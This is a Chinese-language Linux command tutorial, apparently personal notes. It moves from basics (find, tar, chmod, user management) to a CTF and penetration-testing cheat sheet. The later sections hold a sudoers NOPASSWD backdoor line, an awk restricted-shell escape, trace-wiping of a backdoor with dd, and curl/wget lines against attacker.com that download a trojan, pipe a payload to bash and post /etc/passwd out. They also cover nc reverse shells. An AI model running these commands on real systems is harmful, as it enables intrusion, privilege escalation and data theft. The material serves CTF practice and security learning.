linux基础命令
1 系统信息
1.1 基础信息
1 | date #显示当前日期和时间 |
1.2 系统信息
1 | cat /proc/cpuinfo #查看cpu信息 |
1.3 目录操作
1 | pwd #查看当前所在目录 |
1.4 文件操作
1 | cat 文件名 #查看文件内容 |
2 查找命令
2.1 find命令
Linux find 命令用于在指定目录下查找文件和目录。
它可以使用不同的选项来过滤和限制查找的结果。
使用方法:find [指定查找目录] [查找规则] [查找完后的操作]
模糊查询:*.txt
iname 与 name 的区别:iname不区分大小写,name区分大小写
匹配条件 中可使用的选项有二三十个之多,以下列出最常用的部份:
-name pattern:按文件名查找,支持使用通配符*和?。-type type:按文件类型查找,可以是f(普通文件)、d(目录)、l(符号链接)等。-size [+-]size[cwbkMG]:按文件大小查找,支持使用+或-表示大于或小于指定大小,单位可以是c(字节)、w(字数)、b(块数)、k(KB)、M(MB)或G(GB)。-mtime days:按修改时间查找,支持使用+或-表示在指定天数前或后,days 是一个整数表示天数。-user username:按文件所有者查找。-group groupname:按文件所属组查找。
动作: 可选的,用于对匹配到的文件执行操作,比如删除、复制等。
find 命令中用于时间的参数如下:
-amin n:查找在 n 分钟内被访问过的文件。-atime n:查找在 n*24 小时内被访问过的文件。-cmin n:查找在 n 分钟内状态发生变化的文件(例如权限)。-ctime n:查找在 n*24 小时内状态发生变化的文件(例如权限)。-mmin n:查找在 n 分钟内被修改过的文件。-mtime n:查找在 n*24 小时内被修改过的文件。
在这些参数中,n 可以是一个正数、负数或零。正数表示在指定的时间内修改或访问过的文件,负数表示在指定的时间之前修改或访问过的文件,零表示在当前时间点上修改或访问过的文件。
正数应该表示时间之前,负数表示时间之内。
关于时间 n 参数的说明:
- +n:查找比 n 天前更早的文件或目录。
- -n:查找在 n 天内更改过属性的文件或目录。
- n:查找在 n 天前(指定那一天)更改过属性的文件或目录。
3 文件的压缩与解压
3.1 zip格式
zip格式其实和windows的zip格式时一样的,也就是说可以和windows相互解压缩使用
| 命令 | 说明 |
|---|---|
| zip 压缩文件名 源文件 | 压缩文件 |
| zip -r 压缩文件名 源目录 | 压缩目录 |
| unzip 压缩文件 | 解压缩文件 |
3.2 gzip格式
.gz格式本身不提供保留源文件功能功能,保留源文件是利用 -c 参数 + >,-c会将压缩结果输出到控制台,而 > 可以输出结果写入文件
| 命令 | 说明 |
|---|---|
| gzip 源文件 | 压缩为.gz文件,源文件会消失 |
| gzip -c 源文件 > 压缩文件 | 压缩为.gz格式,源文件保留 |
| gzip -r 目录 | 压缩目录下的所有子文件,但是不压缩目录 |
| gzip -d 压缩文件 | 解压缩文件 |
| gunzip 压缩文件 | 解压缩文件 |
| gunzip -r 目录 | 解压缩目录(子文件) |
3.3 bz2格式
注意:.bzip2命令不能压缩目录
| 目录 | 说明 |
|---|---|
| bzip2 | 压缩为.bz2格式,不保留文件 |
| bzip2 -k 源文件 | 压缩之后保留源文件 |
| bzip2 -d 压缩文件 | 解压缩文件 |
| bunzip2 [-k] 压缩文件 | 解压缩,-k保留源文件 |
3.4 tar格式
| 命令 | 说明 |
|---|---|
| tar -cvf 打包文件名 源文件 | 打包 |
| tar -xvf 打包文件名 | 解包 |
选项说明:-c 打包 -v 显示过程 -x 解打包 -f 指定打包后的文件名
3.5 tar.gz格式
其实.tar.gz格式是先打包为.tar格式,再压缩为.gz格式,重点掌握压缩!
压缩多个文件只需要将多个文件空格隔开即可,将文件压缩到指定目录可以使用路径+压缩文件名
选项说明:
-z: 压缩为.tar.gz格式
-x: 解压缩.tar.gz格式
-t: 只查看压缩文件,不解压
| 命令 | 说明 |
|---|---|
| tar -zcvf 压缩包名.tar.gz 源文件 | 压缩 |
| tar -zxvf 压缩包名.tar.gz [-C 解压位置] | 解压缩 |
| tar -ztvf 压缩包名 .tar.gz | 只查看不解压 |
3.6 tar.bz2格式
是先打包成.tar格式,再压缩为.bz2格式
| 命令 | 说明 |
|---|---|
| tar -jcvf 压缩包名.tar.gz2 源文件 | 压缩 |
| tar -jxvf 压缩包名.tar.gz2 源文件 | 解压缩 |
4 端口查看
1 | netstat -nupl(UDP类型的端口) |
a: 表示所有n: 表示不查询dnst: 表示tcp协议u: 表示udp协议p: 表示查询占用的程序l: 表示查询正在监听的程序
5 查询进程
1 | ps |
a: 显示现行终端机下的所有进程,包括其他用户的进程U: 以用户为主的格式来显示进程状况x: 显示没有控制终端的进程A: 显示所有进程e: 与”A”参数相同f: 做出一个更为完整的输出
6 终止进程
kill 命令可以发送不同的信号给目标进程,来实现不同的操作,如果不指定信号,默认会发送 TERM 信号(15),即终止。若仍无法终止该程序,可使用 SIGKILL(9) 信息尝试强制删除程序。
6.1.1 语法
1 | kill [options] <PID> \\ |
参数说明:
-l:列出所有可用的信号。-<signal>:发送特定的信号给目标进程,如-9表示发送 KILL 信号,即强制终止进程。
6.1.2 基本用法
终止进程:默认情况下,kill命令发送SIGTERM(信号15),这可以请求进程终止。如果进程没有捕获这个信号,它将被终止。
1 | kill PID |
其中 PID 是进程的 ID。
发送指定信号:通过 -s 选项可以发送指定的信号。
1 | kill -s SIGNAL PID |
例如,发送 SIGKILL(信号9)将立即结束进程,不能被忽略或捕获。
1 | kill -9 PID |
杀死进程组:使用 -9 选项可以杀死整个进程组。
1 | kill -9 -PID |
使用 kill -l 命令列出所有可用信号。
最常用的信号是:
SIGKILL(信号9):立即结束进程,不能被捕获或忽略。SIGTERM(信号15):正常结束进程,可以被捕获或忽略。SIGSTOP(信号19):暂停进程,不能被捕获、忽略或结束。SIGCONT(信号18):继续执行被暂停的进程。SIGINT(信号2):通常是Ctrl+C产生的信号,可以被进程捕获或忽略。
6.1.3 实例
终止 PID 为 1234 的进程:
1 | kill 1234 |
强制终止 PID 为 1234 的进程:
1 | kill -9 1234 |
向 PID 为 1234 的进程发送 SIGSTOP:
1 | kill -s SIGSTOP 1234 |
7 文件基本属性
- Linux系统是一个典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限。为了保护系统的安全性,Linux系统对用户访问同一文件内的权限做了不同的规定
- 在Linux中我们可以使用
ll或者ls-l命令来显示一个文件的属性以及文件所属的用户和组
1 | 文件属性 连接数 属主 属组 文件大小 修改日期 文件名 |
7.1 文件属性
在 Linux 中第一个字符代表这个文件是目录、文件或链接文件等等。
- 当为 d 则是目录
- 当为 - 则是文件;
- 若是 l 则表示为链接文档(link file);
- 若是 b 则表示为装置文件里面的可供储存的接口设备(可随机存取装置);
- 若是 c 则表示为装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)。
接下来的字符中,以三个为一组,且均为 rwx 的三个参数的组合。其中, r 代表可读(read)、 w 代表可写(write)、 x 代表可执行(execute)。 要注意的是,这三个权限的位置不会改变,如果没有权限,就会出现减号 - 而已。
从左至右用 0-9 这些数字来表示。
第 0 位确定文件类型,第 1-3 位确定属主(该文件的所有者)拥有该文件的权限。
第4-6位确定属组(所有者的同组用户)拥有该文件的权限,第7-9位确定其他用户拥有该文件的权限。
其中,第 1、4、7 位表示读权限,如果用 r 字符表示,则有读权限,如果用 - 字符表示,则没有读权限;
第 2、5、8 位表示写权限,如果用 w 字符表示,则有写权限,如果用 - 字符表示没有写权限;第 3、6、9 位表示可执行权限,如果用 x 字符表示,则有执行权限,如果用 - 字符表示,则没有执行权限。
7.2 更改文件属性
7.2.1 chgrp:更改文件属组
语法:
1 | chgrp [-R] 属组名 文件名 |
参数选项
- -R:递归更改文件属组,就是在更改某个目录文件的属组时,如果加上 -R 的参数,那么该目录下的所有文件的属组都会更改。
7.2.2 chown:更改文件所有者(owner),也可以同时更改文件所属组。
语法:1
2chown [–R] 所有者 文件名
chown [-R] 所有者:属组名 文件名
进入 /root 目录(~)将install.log的拥有者改为bin这个账号:
1 | [root@www ~] cd ~ |
将install.log的拥有者与群组改回为root:
1 | [root@www ~]# chown root:root install.log |
7.2.3 chmod:更改文件9个属性
Linux文件属性有两种设置方法,一种是数字,一种是符号。
Linux 文件的基本权限就有九个,分别是 owner/group/others(拥有者/组/其他) 三种身份各有自己的 read/write/execute 权限。
先复习一下刚刚上面提到的数据:文件的权限字符为: -rwxrwxrwx , 这九个权限是三个三个一组的!其中,我们可以使用数字来代表各个权限,各权限的分数对照表如下:
- r:4
- w:2
- x:1
每种身份(owner/group/others)各自的三个权限(r/w/x)分数是需要累加的,例如当权限为: -rwxrwx—- 分数则是:
- owner = rwx = 4+2+1 = 7
- group = rwx = 4+2+1 = 7
- others= —- = 0+0+0 = 0
所以等一下我们设定权限的变更时,该文件的权限数字就是 770。变更权限的指令 chmod 的语法是这样的:
1 | chmod [-R] xyz 文件或目录 |
选项与参数:
- xyz : 就是刚刚提到的数字类型的权限属性,为 rwx 属性数值的相加。
- -R : 进行递归(recursive)的持续变更,以及连同次目录下的所有文件都会变更
举例来说,如果要将 .bashrc 这个文件所有的权限都设定启用,那么命令如下:
1 | [root@www ~]# ls -al .bashrc |
那如果要将权限变成 _-rwxr-xr—_ 呢?那么权限的分数就成为 [4+2+1][4+0+1][4+0+0]=754。
7.2.3.1 符号类型改变文件权限
还有一个改变权限的方法,从之前的介绍中我们可以发现,基本上就九个权限分别是:
- user:用户
- group:组
- others:其他
那么我们就可以使用 u, g, o 来代表三种身份的权限。
此外, a 则代表 all,即全部的身份。读写的权限可以写成 r, w, x,也就是可以使用下表的方式来看:
| chmod | u g o a |
+(加入) -(除去) =(设定) |
r w x |
文件或目录 |
如果我们需要将文件权限设置为 -rwxr-xr— ,可以使用 chmod u=rwx,g=rx,o=r 文件名 来设定:1
2
3
4
5
6# ``touch test1 // 创建 test1 文件
# ls -al test1 // 查看 test1 默认权限
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
# chmod u=rwx,g=rx,o=r test1 // 修改 test1 权限
# ls -al test1
-rwxr-xr-- 1 root root 0 Nov 15 10:32 test1
而如果是要将权限去掉而不改变其他已存在的权限呢?例如要拿掉全部人的可执行权限,则:1
2
3# chmod a-x test1
# ls -al test1
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
8 用户管理
Linux系统用户是根据用户ID来识别的,默认ID长度为32位,从默认ID编号为0开始,但是为了和老式系统兼容,用户ID限制在60000以下,Linux用户总共分为三种,分别如下:
root用户(ID 0)
系统用户(ID 1~499)
普通用户(ID 500以上)
8.1 创建用户
在centos中,useradd与adduser是没有任何区别的,都是在创建用户,在home下自动创建目录,没有设置密码,需要使用passwd命令修改密码
在ubuntu中,useradd与adduser有所不同
useradd在使用该命令时不会自动创建与用户名同名的用户目录,而且不能自动创建shell版本,没设置密码,不能登录,需要使用passwd命令修改密码adduser在使用该命令创建用户会在/home下创建与用户同名的用户目录、系统shell,会在创建时提示输入密码,更加友好userdel删除用户,不会删除相关的目录文件,userdel -r可以删除用户及相关目录
8.2 组管理
8.2.1 管理命令
8.2.1.1 添加组
1 | groupadd 选项 用户组 |
可以使用的选项有:
- -g GID 指定新用户组的组标识号(GID)。
- -o 一般与-g选项同时使用,表示新用户组的GID可以与系统已有用户组的GID相同。
8.2.1.2 删除组
1 | groupdel 用户组 |
8.2.1.3 修改用户组的属性
使用groupmod命令。其语法如下:
1 | groupmod 选项 用户组 |
常用的选项有:
- -g GID 为用户组指定新的组标识号。
- -o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同。
- -n新用户组 将用户组的名字改为新名字
8.2.1.4 查看所有组
1 | groups #查看所有组信息 |
8.2.1.5 组的切换
如果一个用户同时属于多个用户组,那么用户可以在用户组之间切换,以便具有其他用户组的权限。
用户可以在登录后,使用命令newgrp切换到其他用户组,这个命令的参数就是目的用户组。例如:
1 | newgrp root |
比如同时在root组和user组时,如果写入文件,系统会分配主组作为文件权限,其他user组成员就无法访问,必须切换才行
8.2.2 用户与组的对应关系
一对一:即一个用户可以存在一个组中,也可以是组的唯一成员
一对多:即一个用户可以存在多个组中,这个用户就具有这些组的功能
多对一:即多个用户可以存在一个组中,这些用户拥有组的共同权限
多对多:即多用户可以存在多个组中,并且几个用户可以归属相同的组。其实是前面三条的扩展
8.3 帐号文件
8.3.1 用户管理文件
用户名配置文件/etc/passwd,每行代表一个用户账户,由七个字段组成,用冒号分隔:
- 用户名:用户的登录名。
- 密码占位符:通常为“x”,实际密码存储在_/etc/shadow_文件中。
- 用户ID (UID):用户的唯一标识。
- 组ID (GID):用户所属的主组ID。
- 用户描述:用户的全名或描述信息。
- 主目录:用户的主目录路径。
- 登录shell:用户登录后使用的shell。
用户名密码配置文件/etc/shadow,/etc/shadow文件的每一行代表一个用户账户,使用冒号:分隔成多个字段。每个字段的含义如下:
- 用户名:与
/etc/passwd文件中的用户名相对应。 - 加密密码:用户密码的加密形式。密码加密方式可能包括SHA-512、MD5、Blowfish或SHA-256等。
- 最后一次修改时间:从1970年1月1日起至用户最后一次修改密码时的天数。
- 最小时间间隔:用户两次修改密码之间所需的最小天数。
- 最大时间间隔:密码保持有效的最大天数。
- 警告时间:系统开始警告用户到用户密码正式失效之间的天数。
- 不活动时间:用户没有登录活动但账号仍能k式失效之间的天数。
- 不活动时间:用户没有登录活动但账号仍能保持有效的最大天数。
- 失效时间:账号的生存期,过了这个时间账号就不再是一个合法的账号,不能用来登录。
- 标志:保留字段,目前为空,以备将来使用。
8.3.2 组管理文件
用户组密码管理文件/etc/gshadow
- 用户组名:与_/etc/group_文件中的组名相对应。
- 用户组密码:如果字段为空或包含
!,则表示该用户组没有密码。 - 用户组管理员:这个字段可以为空,如果有多个管理员,它们之间用逗号(,)分隔。
- 组成员:列出了用户组中的成员账号,如果有多个成员,也是用逗号(,)分隔。
9 权限管理
9.1 Shell命令以及运行原理
9.1.1 概念:
Linux严格意义上说的是一个操作系统,我们称之为“核心(kernel) “ ,但我们一般不能直接使用kernel,而是通过kernel的“外壳”程序(shell),来与kernel沟通
Shell(命令行解释器)的作用:
- 操作系统的语言是机器语言,用户直接与操作系统沟通成本大,所以Shell将用户的命令翻译给核心(kernel)处理,并将核心的处理结果翻译给用户(提供良好的使用环境)
- 面对用户的不合意请求,操作系统会拒绝请求,以此来保护操作系统
Shell与bash:
Shell是命令行解释器的统称,而bash的具体的一种命令行解释器
9.2 Linux权限的概念
Linux下有两种用户:
- 超级用户(root):可以再linux系统下做任何事情,不受限制
普通用户:在linux下做有限的事情
注:超级用户的命令提示符是“#”,普通用户的命令提示符是“$”
9.3 Linux权限管理
9.3.1 文件访问者的分类
文件和文件目录的所有者: u—User 文件
文件目录的所有者所在的组的用户: g—Group
其它用户: o—Others
注:group的意义是在保证文件安全的前提下,进行组内协同
9.3.2 文件类型和访问权限
1 | d:文件夹 |
1 | 读(r): Read对文件而言,具有读取文件内容的权限;对目录来说,具有浏览该目录信息的权限 |
9.3.3 文件权限值的表示方法
- 字符表示方法:
- 8进制数值表示法:
9.3.4 目录的权限
可执行权限: 如果目录没有可执行权限, 则无法cd到目录中 可读权限: 如果目录没有可读权限, 则无法用ls等命令查看目录中的文件内容 可写权限: 如果目录没有可写权限, 则无法在目录中创建文件, 也无法在目录中删除文件 注:只要用户具有目录的写权限, 用户就可以删除目录中的文件, 而不论这个用户是否有这个文件的写 权限
10 查看命令
10.1 cat 命令 (Concatenate)
最基础的文本查看工具,适合查看内容较少的文件。它会一次性将文件的所有内容输出到终端。
常用选项:
cat -n filename:查看内容并显示行号(包括空行)。cat -A filename:显示所有不可见字符(如制表符、换行符等)。
10.2 tac 命令
cat 的反向拼写,功能也是反向的。它会从最后一行开始倒序显示文件内容,适合查看日志文件(因为最新的日志通常在最后一行)。
- 用法:
tac filename
10.3 awk 命令
极其强大的文本分析和数据处理工具。虽然主要用于编程和处理,但常用来“查看”特定列或符合条件的行。
常用选项/用法:
用于查看内容较多、篇幅较长的文件。它是 more 命令的升级版,支持向前和向后翻页,且在加载大文件时速度极快,因为它不会一次性读取整个文件。
常用操作:
less filename:打开文件。- 按
空格键或Page Down向下翻页,按b或Page Up向上翻页。 - 按
/输入关键字进行向下搜索,按?向上搜索(按n找下一个)。 - 按
q退出。
10.5 more 命令
与 less 类似的分页查看工具,但功能较弱,只能单向(向下)翻页。现在大多数情况下已被 less 替代。
- 用法:
more filename(按空格翻页,按q退出)
10.6 head 命令
用于查看文件的开头部分。
常用选项:
head filename:默认查看文件的前 10 行。head -n 20 filename:查看文件的前 20 行。
10.7 tail 命令(排错神器)
用于查看文件的结尾部分。在服务器运维和开发中极其常用,特别是用来实时监控日志。
常用选项:
tail filename:默认查看文件的最后 10 行。tail -n 20 filename:查看文件的最后 20 行。tail -f filename:实时滚动查看文件追加的内容(常用于实时看日志,按Ctrl+C退出)。
10.8 grep 命令 (Global Regular Expression Print)
严格来说是文本搜索工具,但通常作为“过滤查看”的核心命令。它可以从文件中提取出包含指定关键字的行。
常用选项:
grep "keyword" filename:查看包含 “keyword” 的行。grep -i "keyword" filename:忽略大小写。grep -v "keyword" filename:反向查找,查看不包含该关键字的行。grep -n "keyword" filename:显示匹配结果及其所在的行号。
10.9 nl 命令 (Number of Lines)
专门用来添加行号并查看文件内容的命令。与 cat -n 类似,但它默认不为纯空行编号。
- 用法:
nl filename
10.10 sed 命令 (Stream Editor)
强大的流编辑器,常用于替换和修改文本,但也经常被用来查看特定行号范围的文件内容。
常用用法:
sed -n '5,10p' filename:只查看文件的第 5 行到第 10 行内容。
11 Linux读写命令
11.1 echo命令
echo 'i love u' > a.txt,如果文件没有则创建,如果存在文件就覆盖echo 'i love u' >> a.txt,如果文件没有则创建,如果存在文件就追加
11.1.1 编码与转义 (-e 参数)
实际上 echo 也支持编码和转义字符的解析。默认情况下,echo 会将内容当作纯字符串原样输出。如果想要让它解析底层的字节编码或特殊字符,必须加上 -e 参数(enable interpretation of backslash escapes)。
在 CTF 和渗透测试中,常见的用法如下:
- 十六进制编码 (Hex)
- 极常用于写入二进制 Payload
- 使用
\x加上两位十六进制数。这会将纯粹的字节流写入文件,而不是写入可见字符。
1 | # 写入一段简单的 shellcode 字节到二进制文件 |
- 八进制编码 (Octal)
- 使用
\0加上一到三位八进制数,转换为对应的 ASCII 字符:1
echo -e '\0101\0102\0103' # 输出大写的 ABC
- 使用
- 常见的控制字符转义
\n:换行符 (Newline)\t:制表符 (Tab)\\:反斜杠本身1
2# 实现多行输出
echo -e '第一行\n第二行\t有一个Tab' > text.txt
11.1.2 末尾换行
echo 命令默认会在输出内容的末尾自动加上一个换行符(Hex 对应 0x0a)。在写入精确的二进制文件(如 ELF 感染、Shellcode)或进行 Base64 加密时,这个多出来的换行符常常会导致 Payload 结构破坏或 Hash 校验失败。
解决方法: 联合使用 -n 参数(抑制末尾换行)。习惯写成 echo -en
11.2 awk命令
awk 不仅仅是一个命令,它其实是一门极其强大的文本处理语言。在渗透测试中,当我们拿到一大段杂乱的系统信息或命令回显时,awk 是最快能帮我们“按列提取”核心数据的工具。
基础语法与核心概念
awk默认以空格或制表符**作为分隔符,将每行文本切分成多个字段(列)。$0:代表整行内容。$1, $2, $3...:分别代表切分后的第 1 列、第 2 列、第 3 列…
实战常用场景:提取特定列数据
- 在处理命令输出(如
ls -l,ps)时非常有用。
- 在处理命令输出(如
1 | # 只提取当前目录下所有文件的名称(ls -l 的第 9 列) |
- 实战常用场景:按模式/正则匹配后提取
- 结合搜索功能,只处理包含特定关键字的行。
1 | # 只提取 /etc/passwd 中包含 "root" 的那一行的第 1 和第 7 列 |
- 终极逃逸技巧 (Bypass Restricted Shell)
- 当你被困在一个受限的 Shell (rbash) 中时,可以利用
awk来弹出一个完整的交互式 Shell:
- 当你被困在一个受限的 Shell (rbash) 中时,可以利用
1 | awk 'BEGIN {system("/bin/sh")}' |
11.3 tee 命令 (权限提升与多向输出)
tee 命令就像一个“三通管”,它从标准输入读取数据,然后同时输出到屏幕和文件中。在红蓝攻防中,它最核心的价值在于配合 sudo 突破权限写入限制。
实战场景:越权写入系统配置
如果你有一个低权限账号,且配置了特定命令的 sudo 无密码执行权限,但你不能直接 sudo vi /etc/passwd。如果你尝试 sudo echo "xxx" >> /etc/passwd 会报错,因为重定向符 >> 是由当前低权限的 Shell 执行的,而不是 sudo。 此时 tee 就派上用场了:1
2
3# -a 代表追加 (append),等同于 >>。
# 这样执行,数据流通过管道传给拥有 root 权限的 tee,成功写入受保护的文件。
echo "hacker ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
11.4 dd 命令 (底层读写与破坏)
dd (Data Duplicator) 被极客戏称为 “Disk Destroyer”。它是 Linux 中直接进行底层块读写和字节控制的最强工具,无视文件系统格式。
实战场景:精准提取二进制数据 (Pwn/逆向)
当你只需要某个二进制文件中的特定几个字节(如提取 firmware 中的密钥),dd 可以精确切割:1
2# 从 target.bin 的第 1024 字节开始,读取 64 个字节并保存
dd if=target.bin of=key.bin bs=1 skip=1024 count=64
实战场景:终极痕迹清理 (彻底覆写)1
2# 将 100MB 的随机乱码写入后门文件,彻底破坏其内容后再删除
dd if=/dev/urandom of=/tmp/backdoor.elf bs=1M count=100 && rm -f /tmp/backdoor.elf
12 Linux网络工具
12.1 curl命令
curl (Client URL) 是命令行下最强大的网络发包工具,支持 HTTP, HTTPS, FTP 等数十种协议。在 CTF 中,它是发送精心构造的 Payload 的终极武器。
在终端里写 curl 时,Payload 外层强烈建议使用单引号 ' '。 如果使用双引号 " ",Bash 会尝试解析里面的 $、` 等符号,导致 Payload 在发送前就被 Bash 篡改了。只有当你的 Payload 确实需要引用本地的 Bash 变量时,才使用双引号。
1. 基础请求与文件下载
-O(大写):将远端文件下载到本地,并保留原本的文件名。-o(小写):将文件下载到本地,并自己指定一个新文件名。1
2
3
4
5# 下载木马文件到 /tmp 目录
curl -O http://attacker.com/shell.elf
# 获取网页源码并保存为 index.html
curl http://target.com/ -o index.html
2. 控制 HTTP 请求方法与发送数据 (GET/POST)
-X:指定请求方法 (GET, POST, PUT, DELETE 等)。-d:发送 POST 请求的数据体 (Data)。-G:强制将-d中的数据拼接到 URL 后面作为 GET 参数发送。
1 | # 发送标准的 POST 表单数据进行爆破或注入 |
3. 伪造与操控 HTTP 请求头 (Header) 在很多 Web 题目中,需要伪造 IP 或 User-Agent 来绕过 WAF。
-H:自定义请求头。-A:快速指定 User-Agent。
1 | # 伪造本地 IP 绕过限制 |
**4. 会话保持与 Cookie 管理 (Session & Cookies) 在处理需要登录鉴权、多步交互(如 POST-Redirect-GET)的题目时,必须妥善管理 Cookie。
-b/--cookie:携带 Cookie 发送请求(可以是直接的字符串,也可以是存有 Cookie 的文件)。-c/--cookie-jar:将服务器返回的 Cookie(如 Session ID)保存到本地文件中。1
2
3
4
5
6
7
8
9# 场景一:直接携带已知的伪造身份发送请求
curl -b "session_id=admin_token_here" http://target.com/admin
# 场景二:完整登录并利用凭证访问(解决重定向丢失状态的问题)
# 第一步:发送登录 POST 数据,并将返回的 Session 保存到 cookie.txt
curl -c cookie.txt -X POST -d "login-name=admin&pin=1" http://challenge.localhost/credentials
# 第二步:携带刚保存的 cookie.txt 访问目标页面(结合 -L 自动跟随重定向)
curl -b cookie.txt -L http://challenge.localhost/credentials
5. 自动化脚本必备参数 (静默与状态码提取) 在写 Bash 循环爆破脚本时,这些参数必不可少。
-s(Silent):静默模式,不显示下载进度条和报错信息。-L(Location):跟随服务器的 301/302 重定向跳转。-w(Write-out):提取特定的返回信息(如状态码)。
1 | # 仅提取 HTTP 状态码,不输出网页正文内容(极其适合目录爆破脚本) |
6. 数据编码与 Payload 安全发送
在发送包含特殊字符(如空格、引号、&、#)的 Payload 时,如果不在 Bash 中正确处理和进行 URL 编码,极易导致语法错误或被 WAF 误杀。
--data-urlencode:发送 POST 数据并自动进行 URL 编码。这是发送复杂 Payload 的最佳实践,彻底解放手动编码的烦恼。-G/--get:强制将--data或--data-urlencode的内容转换到 URL 的 Query 参数中,以 GET 方式发送。
1 | # 场景一:发送包含空格和引号的 SQL 注入 GET 请求 |
7. 原生数据与二进制文件提交
标准的 -d (--data) 在读取文件时,会默认删除所有的换行符 (CR/LF),这在发送序列化数据或精确构造的 HTTP 包时是致命的。
--data-binary:按原样发送数据,不剔除任何换行符,常用于发送精心构造的 Payload 文件或序列化对象。-F/--form:模拟表单的多部分数据上传 (multipart/form-data),常用于文件上传漏洞测试。
1 | # 场景一:发送包含精准换行符的反序列化 Payload 或原生 HTTP 报文 |
12.2 wegt命令
作为 curl 的老牌竞争对手,wget 擅长处理大文件和后台下载。当发现目标机器上没有 curl 时,wget 是第一备选。
实战场景:一句话下载并执行 (无文件落地的变种)
与 curl | bash 类似,wget 也可以将文件下载到标准输出 -O -,结合管道符执行,甚至加上 -q 静默模式隐藏进度条。1
wget -q -O - [http://attacker.com/payload.sh](http://attacker.com/payload.sh) | bash
12.2.1 使用 wget 发送请求与数据
1. 发送 POST 数据表单 (--post-data) 当你需要向某个登录接口或命令执行接口提交数据时,可以使用 --post-data。wget 会自动将 HTTP 请求方法转为 POST。1
2
3
4
5# 模拟提交登录表单,并将服务器返回的页面保存到 response.html
wget --post-data="username=admin&password=123" http://target.com/login -O response.html
# 配合静默模式 (-q) 和输出到屏幕 (-O -),实现类似 curl 的回显效果
wget -q -O - --post-data="cmd=whoami" http://target.com/api
2. 极简数据外带 / 发送文件 (--post-file) 这是红队非常喜欢的一个功能。当你拿到目标机器权限,想要把系统里的敏感文件(比如 /etc/shadow 或打包好的源码)发送到自己的服务器时,这个参数可以直接把文件内容作为 POST body 发出去。1
2# 直接将本地的密码文件 POST 发送给攻击者的接收接口
wget --post-file=/etc/passwd http://attacker.com/receive_data
3. 伪造 HTTP 请求头 (--header) 和 curl -H 一样,wget 也可以用来伪造源 IP、携带 Cookie 凭证或者修改 Content-Type。
1 | # 伪造本地访问绕过 403 限制,并携带管理员 Cookie |
4. 更改 HTTP 请求方法 (--method) (注意:此参数在较新版本的 wget 1.14+ 中可用)
如果题目要求必须使用 PUT、DELETE 或 OPTIONS 方法,wget 也能胜任。
1 | # 发送 PUT 请求尝试上传文件 |
5.wget 的 Cookie 管理
同样地,wget 也可以处理会话:
1 | # 携带已知 Cookie 请求 |
12.3 nc (Netcat)
如果在目标系统上发现了 nc,那渗透工作将变得极其轻松。它可以读写 TCP/UDP 连接、监听端口、甚至直接作为后门。
实战场景:正向/反向 Shell
1 | # 攻击机监听 (等待目标连接): |
实战场景:极简文件传输
如果两台机器之间无法使用 SSH、FTP 等服务,可以用 nc 临时传文件:
1 | # 接收端监听并写入文件: |





